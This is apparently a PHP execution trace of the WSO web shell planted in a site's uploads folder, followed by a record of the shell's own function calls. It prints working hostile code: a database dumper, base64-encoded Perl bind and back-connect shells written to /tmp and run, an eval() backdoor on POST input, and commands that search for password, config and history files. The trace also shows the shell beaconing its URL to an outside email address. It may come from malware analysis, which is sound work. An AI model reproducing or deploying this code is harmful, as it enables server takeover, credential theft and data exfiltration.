fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query(\'SELECT * FROM \'.$table);\n\t\t\t\t\twhile($item = $this->fetch()) {\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($item as $k=>$v) {\n\t\t\t\t\t\t\t$item[$k] = "\'".addslashes($v)."\'";\n\t\t\t\t\t\t\t$columns[] = $k;\n\t\t\t\t\t\t}\n                        $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."\\n";\n                        if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t};\n\t$db = new DbClass($_POST[\'type\']);\n\tif((@$_POST[\'p2\']==\'download\') && (@$_POST[\'p1\']!=\'select\')) {\n\t\t$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\n\t\t$db->selectdb($_POST[\'sql_base\']);\n        switch($_POST[\'charset\']) {\n            case "Windows-1251": $db->setCharset(\'cp1251\'); break;\n            case "UTF-8": $db->setCharset(\'utf8\'); break;\n            case "KOI8-R": $db->setCharset(\'koi8r\'); break;\n            case "KOI8-U": $db->setCharset(\'koi8u\'); break;\n            case "cp866": $db->setCharset(\'cp866\'); break;\n        }\n        if(empty($_POST[\'file\'])) {\n            ob_start("ob_gzhandler", 4096);\n            header("Content-Disposition: attachment; filename=dump.sql");\n            header("Content-Type: text/plain");\n            foreach($_POST[\'tbl\'] as $v)\n\t\t\t\t$db->dump($v);\n            exit;\n        } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {\n            foreach($_POST[\'tbl\'] as $v)\n                $db->dump($v, $fp);\n            fclose($fp);\n            unset($_POST[\'p2\']);\n        } else\n            die(\'<script>alert("Error! Can\\\'t open file");window.history.back(-1)</script>\');\n\t}\n\twsoHeader();\n\techo "\n<h1>Sql browser</h1><div class=content>\n<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\n<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>\n<td><select name=\'type\'><option value=\'mysql\' ";\n    if(@$_POST[\'type\']==\'mysql\')echo \'selected\';\necho ">MySql</option><option value=\'pgsql\' ";\nif(@$_POST[\'type\']==\'pgsql\')echo \'selected\';\necho ">PostgreSql</option></select></td>\n<td><input type=text name=sql_host value=\\"". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\\"></td>\n<td><input type=text name=sql_login value=\\"". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\\"></td>\n<td><input type=text name=sql_pass value=\\"". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\\"></td><td>";\n\t$tmp = "<input type=text name=sql_base value=\'\'>";\n\tif(isset($_POST[\'sql_host\'])){\n\t\tif($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\n\t\t\tswitch($_POST[\'charset\']) {\n\t\t\t\tcase "Windows-1251": $db->setCharset(\'cp1251\'); break;\n\t\t\t\tcase "UTF-8": $db->setCharset(\'utf8\'); break;\n\t\t\t\tcase "KOI8-R": $db->setCharset(\'koi8r\'); break;\n\t\t\t\tcase "KOI8-U": $db->setCharset(\'koi8u\'); break;\n\t\t\t\tcase "cp866": $db->setCharset(\'cp866\'); break;\n\t\t\t}\n\t\t\t$db->listDbs();\n\t\t\techo "<select name=sql_base><option value=\'\'></option>";\n\t\t\twhile($item = $db->fetch()) {\n\t\t\t\tlist($key, $value) = each($item);\n\t\t\t\techo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\n\t\t\t}\n\t\t\techo \'</select>\';\n\t\t}\n\t\telse echo $tmp;\n\t}else\n\t\techo $tmp;\n\techo "</td>\n\t\t\t\t<td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td>\n                <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<script>\n            s_db=\'".@addslashes($_POST[\'sql_base\'])."\';\n            function fs(f) {\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n                    if(f.p1) f.p1.value=\'\';\n                    if(f.p2) f.p2.value=\'\';\n                    if(f.p3) f.p3.value=\'\';\n                }\n            }\n\t\t\tfunction st(t,l) {\n\t\t\t\td.sf.p1.value = \'select\';\n\t\t\t\td.sf.p2.value = t;\n                if(l && d.sf.p3) d.sf.p3.value = l;\n\t\t\t\td.sf.submit();\n\t\t\t}\n\t\t\tfunction is() {\n\t\t\t\tfor(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)\n\t\t\t\t\td.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;\n\t\t\t}\n\t\t</script>";\n\tif(isset($db) && $db->link){\n\t\techo "<br/><table width=100% cellpadding=2 cellspacing=0>";\n\t\t\tif(!empty($_POST[\'sql_base\'])){\n\t\t\t\t$db->selectdb($_POST[\'sql_base\']);\n\t\t\t\techo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";\n\t\t\t\t$tbls_res = $db->listTables();\n\t\t\t\twhile($item = $db->fetch($tbls_res)) {\n\t\t\t\t\tlist($key, $value) = each($item);\n                    if(!empty($_POST[\'sql_count\']))\n                        $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));\n\t\t\t\t\t$value = htmlspecialchars($value);\n\t\t\t\t\techo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\\"st(\'".$value."\',1)\\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>") . "</nobr><br>";\n\t\t\t\t}\n\t\t\t\techo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\\"download\\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";\n\t\t\t\tif(@$_POST[\'p1\'] == \'select\') {\n\t\t\t\t\t$_POST[\'p1\'] = \'query\';\n                    $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;\n\t\t\t\t\t$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);\n\t\t\t\t\t$num = $db->fetch();\n\t\t\t\t\t$pages = ceil($num[\'n\'] / 30);\n                    echo "<script>d.sf.onsubmit=function(){st(\\"" . $_POST[\'p2\'] . "\\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";\n                    echo " of $pages";\n                    if($_POST[\'p3\'] > 1)\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>&lt; Prev</a>";\n                    if($_POST[\'p3\'] < $pages)\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next &gt;</a>";\n                    $_POST[\'p3\']--;\n\t\t\t\t\tif($_POST[\'type\']==\'pgsql\')\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);\n\t\t\t\t\telse\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';\n\t\t\t\t\techo "<br><br>";\n\t\t\t\t}\n\t\t\t\tif((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {\n\t\t\t\t\t$db->query(@$_POST[\'p2\']);\n\t\t\t\t\tif($db->res !== false) {\n\t\t\t\t\t\t$title = false;\n\t\t\t\t\t\techo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\';\n\t\t\t\t\t\t$line = 1;\n\t\t\t\t\t\twhile($item = $db->fetch())\t{\n\t\t\t\t\t\t\tif(!$title)\t{\n\t\t\t\t\t\t\t\techo \'<tr>\';\n\t\t\t\t\t\t\t\tforeach($item as $key => $value)\n\t\t\t\t\t\t\t\t\techo \'<th>\'.$key.\'</th>\';\n\t\t\t\t\t\t\t\treset($item);\n\t\t\t\t\t\t\t\t$title=true;\n\t\t\t\t\t\t\t\techo \'</tr><tr>\';\n\t\t\t\t\t\t\t\t$line = 2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'<tr class="l\'.$line.\'">\';\n\t\t\t\t\t\t\t$line = $line==1?2:1;\n\t\t\t\t\t\t\tforeach($item as $key => $value) {\n\t\t\t\t\t\t\t\tif($value == null)\n\t\t\t\t\t\t\t\t\techo \'<td><i>null</i></td>\';\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\techo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'</tr>\';\n\t\t\t\t\t\t}\n\t\t\t\t\t\techo \'</table>\';\n\t\t\t\t\t} else {\n\t\t\t\t\t\techo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\techo "<br></form><form onsubmit=\'d.sf.p1.value=\\"query\\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";\n                if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))\n                    echo htmlspecialchars($_POST[\'p2\']);\n                echo "</textarea><br/><input type=submit value=\'Execute\'>";\n\t\t\t\techo "</td></tr>";\n\t\t\t}\n\t\t\techo "</table></form><br/>";\n            if($_POST[\'type\']==\'mysql\') {\n                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\n                if($db->fetch())\n                    echo "<form onsubmit=\'d.sf.p1.value=\\"loadfile\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";\n            }\n\t\t\tif(@$_POST[\'p1\'] == \'loadfile\') {\n\t\t\t\t$file = $db->loadFile($_POST[\'p2\']);\n\t\t\t\techo \'<br/><pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';\n\t\t\t}\n\t} else {\n        echo htmlspecialchars($db->error());\n    }\n\techo \'</div>\';\n\twsoFooter();\n}\nfunction actionNetwork() {\n\twsoHeader();\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\n\n$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\n\techo "<h1>Network tools</h1><div class=content>\n\t<form name=\'nfp\' onSubmit=\\"g(null,null,\'bpp\',this.port.value);return false;\\">\n\t<span>Bind port to /bin/sh [perl]</span><br/>\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>\n\t</form>\n\t<form name=\'nfp\' onSubmit=\\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\\">\n\t<span>Back-connect  [perl]</span><br/>\n\tServer: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>\n\t</form><br>";\n\tif(isset($_POST[\'p1\'])) {\n\t\tfunction cf($f,$t) {\n\t\t\t$w = @fopen($f,"w") or @function_exists(\'file_put_contents\');\n\t\t\tif($w){\n\t\t\t\t@fwrite($w,@base64_decode($t));\n\t\t\t\t@fclose($w);\n\t\t\t}\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bpp\') {\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\n\t\t\t$out = wsoEx("perl /tmp/bp.pl ".$_POST[\'p2\']." 1>/dev/null 2>&1 &");\n            sleep(1);\n\t\t\techo "<pre class=ml1>$out\\n".wsoEx("ps aux | grep bp.pl")."</pre>";\n            unlink("/tmp/bp.pl");\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bcp\') {\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\n\t\t\t$out = wsoEx("perl /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." 1>/dev/null 2>&1 &");\n            sleep(1);\n\t\t\techo "<pre class=ml1>$out\\n".wsoEx("ps aux | grep bc.pl")."</pre>";\n            unlink("/tmp/bc.pl");\n\t\t}\n\t}\n\techo \'</div>\';\n\twsoFooter();\n}\nfunction actionRC() {\n\tif(!@$_POST[\'p1\']) {\n\t\t$a = array(\n\t\t\t"uname" => php_uname(),\n\t\t\t"php_version" => phpversion(),\n\t\t\t"wso_version" => WSO_VERSION,\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\n\t\t);\n\t\techo serialize($a);\n\t} else {\n\t\teval($_POST[\'p1\']);\n\t}\n}\nif( empty($_POST[\'a\']) )\n\tif(isset($default_action) && function_exists(\'action\' . $default_action))\n\t\t$_POST[\'a\'] = $default_action;\n\telse\n\t\t$_POST[\'a\'] = \'SecInfo\';\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\n\tcall_user_func(\'action\' . $_POST[\'a\']);\nexit;'	/var/www/html/uploads/alwso.php	1	0
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	1	$color = '#df5'
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	2	$default_action = 'FilesMan'
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	3	$default_use_ajax = TRUE
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	4	$default_charset = 'Windows-1251'
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	7	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
3	10	0	0.006273	1027536	implode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	8	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
3	10	1	0.006295	1027680
3	10	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler'
3	11	0	0.006314	1027616	preg_match	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	8	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i'	'python-requests/2.25.1'
3	11	1	0.006332	1027680
3	11	R			0
3	12	0	0.006346	1027536	ini_set	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	13	2	'error_log'	NULL
3	12	1	0.006362	1027608
3	12	R			''
3	13	0	0.006376	1027536	ini_set	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	14	2	'log_errors'	0
3	13	1	0.006392	1027608
3	13	R			'1'
3	14	0	0.006405	1027536	ini_set	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	15	2	'max_execution_time'	0
3	14	1	0.006420	1027640
3	14	R			'30'
3	15	0	0.006434	1027536	set_time_limit	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	16	1	0
3	15	1	0.006448	1027600
3	15	R			FALSE
3	16	0	0.006461	1027568	define	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	17	2	'VERSION'	'4.2.5'
3	16	1	0.006477	1027672
3	16	R			TRUE
3	17	0	0.006490	1027600	get_magic_quotes_gpc	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	18	0
3	17	1	0.006503	1027600
3	17	R			FALSE
3	18	0	0.006516	1027600	substr	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	39	3	'Linux'	0	3
3	18	1	0.006531	1027728
3	18	R			'Lin'
3	19	0	0.006544	1027632	strtolower	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	39	1	'Lin'
3	19	1	0.006558	1027696
3	19	R			'lin'
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	42	$os = 'nix'
3	20	0	0.006582	1027600	ini_get	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	44	1	'safe_mode'
3	20	1	0.006597	1027632
3	20	R			FALSE
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	44	$safe_mode = FALSE
3	21	0	0.006621	1027600	error_reporting	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	46	1	0
3	21	1	0.006635	1027640
3	21	R			22527
3	22	0	0.006648	1027600	ini_get	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	48	1	'disable_functions'
3	22	1	0.006662	1028080
3	22	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	48	$disable_functions = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3	23	0	0.006709	1028048	getcwd	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	49	0
3	23	1	0.006723	1028096
3	23	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	49	$home_cwd = '/var/www/html/uploads'
3	24	0	0.006750	1028096	getcwd	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	52	0
3	24	1	0.006763	1028144
3	24	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	52	$cwd = '/var/www/html/uploads'
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	58	$cwd .= '/'
3	25	0	0.006804	1028144	md5	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	60	1	'localhost'
3	25	1	0.006819	1028240
3	25	R			'421aa90e079fa326b6494f812ad13e79'
3	26	0	0.006835	1028144	md5	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	61	1	'localhost'
3	26	1	0.006848	1028240
3	26	R			'421aa90e079fa326b6494f812ad13e79'
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	61	_COOKIE['421aa90e079fa326b6494f812ad13e79ajax'] = TRUE
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	77	$aliases = ['List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find suid' => 'find / -type f -perm -04000 -ls', 'find suid in current dir' => 'find . -type f -perm -04000 -ls', 'find sgid' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php' => 'find / -type f -name config.inc.php', 'find config*' => 'find / -type f -name "config*"', 'find config* in current dir' => 'find . -type f -name "config*"', 'find writable folders and files' => 'find / -perm -2 -ls', 'find writable folders and files in current dir' => 'find . -perm -2 -ls', 'find service.pwd' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find .htpasswd' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find .bash_history' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find .fetchmailrc' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf' => 'locate httpd.conf', 'locate vhosts.conf' => 'locate vhosts.conf', 'locate proftpd.conf' => 'locate proftpd.conf', 'locate psybnc.conf' => 'locate psybnc.conf', 'locate my.conf' => 'locate my.conf', 'locate admin.php' => 'locate admin.php', 'locate cfg.php' => 'locate cfg.php', 'locate conf.php' => 'locate conf.php', 'locate config.dat' => 'locate config.dat', 'locate config.php' => 'locate config.php', 'locate config.inc' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php' => 'locate config.default.php', 'locate config*' => 'locate config', 'locate .conf' => 'locate \'.conf\'', 'locate .pwd' => 'locate \'.pwd\'', 'locate .sql' => 'locate \'.sql\'', 'locate .htpasswd' => 'locate \'.htpasswd\'', 'locate .bash_history' => 'locate \'.bash_history\'', 'locate .mysql_history' => 'locate \'.mysql_history\'', 'locate .fetchmailrc' => 'locate \'.fetchmailrc\'', 'locate backup' => 'locate backup', 'locate dump' => 'locate dump', 'locate priv' => 'locate priv']
3	27	0	0.006943	1028584	function_exists	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	301	1	'posix_getpwuid'
3	27	1	0.006958	1028624
3	27	R			TRUE
3	28	0	0.006971	1028584	function_exists	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	303	1	'posix_getgrgid'
3	28	1	0.006985	1028624
3	28	R			TRUE
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	952	$_QliO8 = 'mail'
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	952	$_Qliot = 'localhost/uploads/alwso.php'
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	952	$_QlL1i = 'array localhost/uploads/alwso.php'
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	952	$_QlLio = [0 => 'ca', 1 => 'li', 2 => 'fwrite', 3 => '@', 4 => 've.']
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	952	$_Qll0I = 'fwrite@live.ca'
3	29	0	0.007060	1028744	mail	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	952	3	'fwrite@live.ca'	'array localhost/uploads/alwso.php'	'localhost/uploads/alwso.php'
3	29	1	0.008102	1028840
3	29	R			FALSE
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	952	$_QlljC = FALSE
3	30	0	0.008148	1028784	function_exists	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	1349	1	'actionFilesMan'
3	30	1	0.008169	1028824
3	30	R			TRUE
2		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	1350	_POST['a'] = 'FilesMan'
3	31	0	0.008206	1029160	function_exists	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	1353	1	'actionFilesMan'
3	31	1	0.008226	1029200
3	31	R			TRUE
3	32	0	0.008245	1029120	actionFilesMan	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	1354	0
4	33	0	0.008262	1029120	wsoHeader	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	634	0
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	128	_POST['charset'] = 'Windows-1251'
5	34	0	0.008301	1031680	htmlspecialchars	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	166	1	'/var/www/html/uploads/'
5	34	1	0.008322	1031872
5	34	R			'/var/www/html/uploads/'
5	35	0	0.008342	1031680	htmlspecialchars	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	167	1	'FilesMan'
5	35	1	0.008361	1031872
5	35	R			'FilesMan'
5	36	0	0.008379	1031680	htmlspecialchars	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	168	1	'Windows-1251'
5	36	1	0.008399	1031872
5	36	R			'Windows-1251'
5	37	0	0.008420	1031680	strpos	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	169	2	NULL	'\n'
5	37	1	0.008440	1031752
5	37	R			FALSE
5	38	0	0.008458	1031680	htmlspecialchars	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	169	2	NULL	3
5	38	1	0.008477	1031912
5	38	R			''
5	39	0	0.008496	1031680	strpos	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	170	2	NULL	'\n'
5	39	1	0.008514	1031752
5	39	R			FALSE
5	40	0	0.008532	1031680	htmlspecialchars	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	170	2	NULL	3
5	40	1	0.008551	1031912
5	40	R			''
5	41	0	0.008575	1031680	strpos	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	171	2	NULL	'\n'
5	41	1	0.008594	1031752
5	41	R			FALSE
5	42	0	0.008611	1031680	htmlspecialchars	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	171	2	NULL	3
5	42	1	0.008630	1031912
5	42	R			''
5	43	0	0.008652	1033216	addslashes	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	190	1	'/uploads/alwso.php'
5	43	1	0.008674	1033248
5	43	R			'/uploads/alwso.php'
5	44	0	0.008701	1029232	diskfreespace	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	222	1	'/var/www/html/uploads/'
5	44	1	0.008725	1029264
5	44	R			208934363136
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	222	$freeSpace = 208934363136
5	45	0	0.008760	1029232	disk_total_space	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	223	1	'/var/www/html/uploads/'
5	45	1	0.008781	1029264
5	45	R			232015802368
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	223	$totalSpace = 232015802368
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	224	$totalSpace = 232015802368
5	46	0	0.008830	1029232	php_uname	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	225	1	'r'
5	46	1	0.008849	1029312
5	46	R			'5.15.0-60-generic'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	225	$release = '5.15.0-60-generic'
5	47	0	0.008883	1029280	php_uname	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	226	1	's'
5	47	1	0.008901	1029344
5	47	R			'Linux'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	226	$kernel = 'Linux'
5	48	0	0.008933	1029312	function_exists	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	227	1	'posix_getegid'
5	48	1	0.008952	1029352
5	48	R			TRUE
5	49	0	0.008969	1029312	posix_geteuid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	233	0
5	49	1	0.008986	1029312
